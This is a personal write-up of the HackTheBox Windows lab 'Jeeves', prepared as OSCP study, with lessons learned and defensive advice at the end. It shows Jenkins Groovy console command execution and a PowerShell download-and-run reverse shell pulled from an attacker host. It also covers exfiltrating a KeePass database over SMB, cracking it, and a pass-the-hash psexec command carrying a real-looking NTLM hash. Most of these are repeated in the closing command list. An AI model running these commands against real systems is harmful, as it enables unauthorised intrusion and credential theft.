OSCP Prep #14 HTB Write-Up Jeeves

1. Target Overview
Machine Name: Jeeves
Platform: HackTheBox
Operating System: Windows
Target IP: 10.129.11.223
Objective: Obtain initial access to the target system, escalate privileges to Administrator.
Jeeves was an instructive Windows box that tied together several practical ideas in a clean way. My biggest takeaway from this machine was learning how dangerous Groovy-based code execution can be when Jenkins is exposed.
Tools Used
RustScan
Nmap
NetExec (
nxc)FFUF
Jenkins Script Console
Groovy
PowerShell
Netcat
KeePassXC
keepass2john
John the Ripper
Impacket (
psexec)
2. Enumeration
Port Scanning
As usual, I started with a scan to identify the exposed services and get a feel for the attack surface before choosing where to focus.
The scan showed four open ports:
80/tcp – HTTP (Microsoft IIS 10.0)
135/tcp – MSRPC
445/tcp – SMB
50000/tcp – HTTP (Jetty 9.4.z-SNAPSHOT)
Right away, a few things stood out. The presence of RPC and SMB told me I was dealing with a normal Windows host, so I already had my usual Windows enumeration process in mind. From past experience, I know Jetty is commonly associated with Java-based applications, so I was already thinking ahead that this might lead to technologies like Jenkins, Groovy, or something similar.
SMB Enumeration
The first service I chose to inspect was SMB.
Since port 445 was exposed, I started by checking whether I could get anything useful through anonymous access. This is always worth testing early because sometimes you get lucky with readable shares, loose permissions, or quick information disclosure before ever touching the web application.
In this case, anonymous access was denied:
STATUS_ACCESS_DENIED
Share enumeration also failed, so there was no immediate foothold through SMB and nothing useful to pull from it at that stage.
Web Enumeration
Port 80 (IIS)
After SMB went nowhere, I moved on to the web application running on port 80. I like pairing manual inspection with directory fuzzing, so I opened the site in my browser while running ffuf in the background.
The page looked like some kind of Ask Jeeves-style search engine, which immediately made it worth interacting with because any search bar or input field is something I want to test directly. The first thing I did was type a simple test value into the search bar and submit it.
Instead of actually processing the request, the application immediately redirected me to an error page:
error.html
That behavior told me something important very quickly. It did not look like the server was actually taking my search term, handling it dynamically, and returning a real result. It looked more like the search feature was either broken, fake, or just redirecting all interaction to a static page.
I looked more closely at the URL and the way the page behaved. Since it appeared to be referencing a file on the server, I decided it was worth trying a few LFI-style payloads to see if I could abuse the file reference in some way. That turned out to be a dead end because user input seemed to be sanitized properly.
Meanwhile, ffuf did not return anything useful beyond what I had already seen. There were no additional endpoints, no hidden functionality, nothing useful in the page source, and no real behavior that suggested the application had meaningful server-side processing behind it.
At that point, I concluded that port 80 was effectively a dead end.
Additional Web Enumeration
Port 50000 (Jetty)
With SMB giving me nothing and port 80 looking like a decoy or broken feature, I shifted my attention to the service on port 50000.
When I browsed to the port directly, I was met with a very plain 404 Not Found page from Jetty.
There was nothing directly useful in the content itself, but that kind of response is often a good sign because it tells me the service is alive and reachable—I just do not yet know the correct path.
So I ran ffuf against port 50000 as well.
This time, the fuzzing paid off. I discovered:
/askjeeves
When I navigated to that endpoint, I found a Jenkins instance. The version was disclosed at the bottom of the page, which immediately made the service far more interesting.
I already knew Jenkins often exposes administrative functionality that can become extremely dangerous if access controls are weak or the version is old enough to be abused.
Potential Vulnerability Identification
I knew from past experience, older or improperly exposed Jenkins instances are often vulnerable to remote code execution through running Groovy code in the script console. Since Jetty had already tipped me off that I was likely dealing with a Java-based stack, the Jenkins discovery fit perfectly with that earlier assumption.
At that point, my thinking was simple:
If the Script Console is accessible
And Groovy execution is allowed
Then I likely have direct code execution on the server
That was strong enough to move from enumeration into exploitation.
3. Exploitation
Initial Access
After identifying Jenkins, I navigated to the Script Console and tested whether I could run commands through Groovy.
To keep it simple, I started with a basic whoami command:
println "whoami".execute().text
The result confirmed that code execution worked and that commands were running as:
- kohsuke
That was the confirmation I needed. At that point, I had real remote code execution, not just a theory.
This was also the point where the main theme of the box became clear to me. More than anything else, Jeeves taught me how powerful Groovy RCE can be when Jenkins is exposed and unpatched. Once you have that level of access, initial compromise becomes very straightforward.
Shell Stabilization
After confirming command execution, the next step was to convert that into a real shell.
My plan was to host a PowerShell reverse shell on my attacker machine and then use Groovy to execute a PowerShell command that would download and run it. The logic was simple enough, but the trickiest part was getting the quoting right. When you have Groovy calling PowerShell and PowerShell calling out over HTTP, nested quotation marks become the annoying part of the job.
I hosted my PowerShell reverse shell script on my local web server, started a Netcat listener, and then worked through the escaping until the payload executed correctly.
Once I got the command formatted properly, I received a shell back as:
- kohsuke
That gave me the foothold I needed to start local enumeration.
4. Privilege Escalation
Current User Context
The first thing I always want to confirm after getting a shell is exactly who I am and what kind of environment I landed in.
whoami
- kohsuke
User Enumeration
Next, I enumerated the users on the box to understand whether I might need to pivot between accounts or whether this would likely be a straight vertical escalation path.
net user
There were only two users of note:
kohsuke
Administrator
That simplified things a lot. With only one obvious lower-privileged user and one administrative account, this did not look like a machine where I would need to chain multiple account compromises together.
Autologon Credential Check
One of the quick Windows checks I like to do early is the autologon registry check, since it sometimes gives you credentials for free if the machine is configured carelessly.
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
There were no useful autologon credentials present.
Home Directory Review
At that point, I shifted to one of the most reliable habits in Windows privilege escalation: thoroughly reviewing the current user’s home directory and looking for anything that does not belong, anything credential-related, or anything that might indicate how the user manages secrets.
tree /F /A
What immediately stood out was:
- CEH.kdbx
That was a huge find.
A .kdbx file is a KeePass database, which means it potentially contains stored credentials, notes, hashes, or other sensitive data. When I see one of those during privesc, it immediately moves to the top of the list because it often leads directly to password reuse or administrative secrets.
File Transfer via SMB
Now that I had identified the KeePass database, I needed to get it onto my attacker machine so I could work on it locally with the right tools.
copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.123\zion
Even though SMB had been useless earlier for enumeration, it was perfect here as a file transfer mechanism.
Credential Extraction
On my attacker machine:
keepass2john CEH.kdbx > hash.txt
john hash.txt
Recovered password:
After opening the database, I found stored entries including an NTLM hash, which pointed directly to a clean escalation path.
Privilege Escalation Path
Instead of cracking further, I used a Pass-the-Hash attack.
impacket-psexec administrator@10.129.11.223 -hashes :e0fb1fb85756c24235ff238cbe81fe00
The command returned a shell as:
nt authority\system
Full compromise achieved.
5. Lessons Learned
1. Recognizing a Technology Stack Early Saves Time
Seeing Jetty on port 50000 immediately narrowed my focus toward Java-based applications like Jenkins, which sped up the entire process.
2. Dead Ends Need to Be Identified Quickly
Port 80 looked promising at first, but once I confirmed it was just redirecting to a static error page, there was no reason to keep forcing it.
3. Jenkins Script Console is Extremely Dangerous
Groovy RCE through Jenkins is essentially direct command execution. If it's exposed, the box is already compromised.
4. User Files Can Be the Entire PrivEsc Path
The KeePass database was the key to privilege escalation. Careful file enumeration made the difference.
5. SMB is a Practical Tool, Not Just an Attack Vector
Even though SMB did not help initially, it became critical for file exfiltration later.
6. Defensive Insight
1. Jenkins Should Never Be Exposed Publicly
The Script Console alone is enough to fully compromise a system if accessible.
2. Keep Systems Patched
Outdated Jenkins versions introduce unnecessary risk.
3. Protect Credential Stores
Sensitive files like KeePass databases should not be left in user directories.
4. Limit NTLM Usage
Pass-the-Hash attacks remain effective because NTLM is still widely enabled.
5. Monitor File Transfer Channels
Even non-exploitable services like SMB can be abused for data exfiltration.
7. Useful Commands
Reconnaissance
rustscan -a 10.129.11.223 -b 7000
nmap -sC -sV -p- 10.129.11.223
Enumeration
nxc smb 10.129.11.223 -u '' -p '' --shares
ffuf -u http://10.129.11.223/FUZZ -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://10.129.11.223:50000/FUZZ -w /usr/share/wordlists/dirb/common.txt
Groovy powershell Reverse Shell
println 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(\'http://10.10.14.123/shell.ps1\')"'.execute().text
Privilege Escalation
whoami
net user
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
tree /F /A
copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.123\zion
keepass2john CEH.kdbx > hash.txt
john --show hash.txt
impacket-psexec administrator@10.129.11.223 -hashes :e0fb1fb85756c24235ff238cbe81fe00






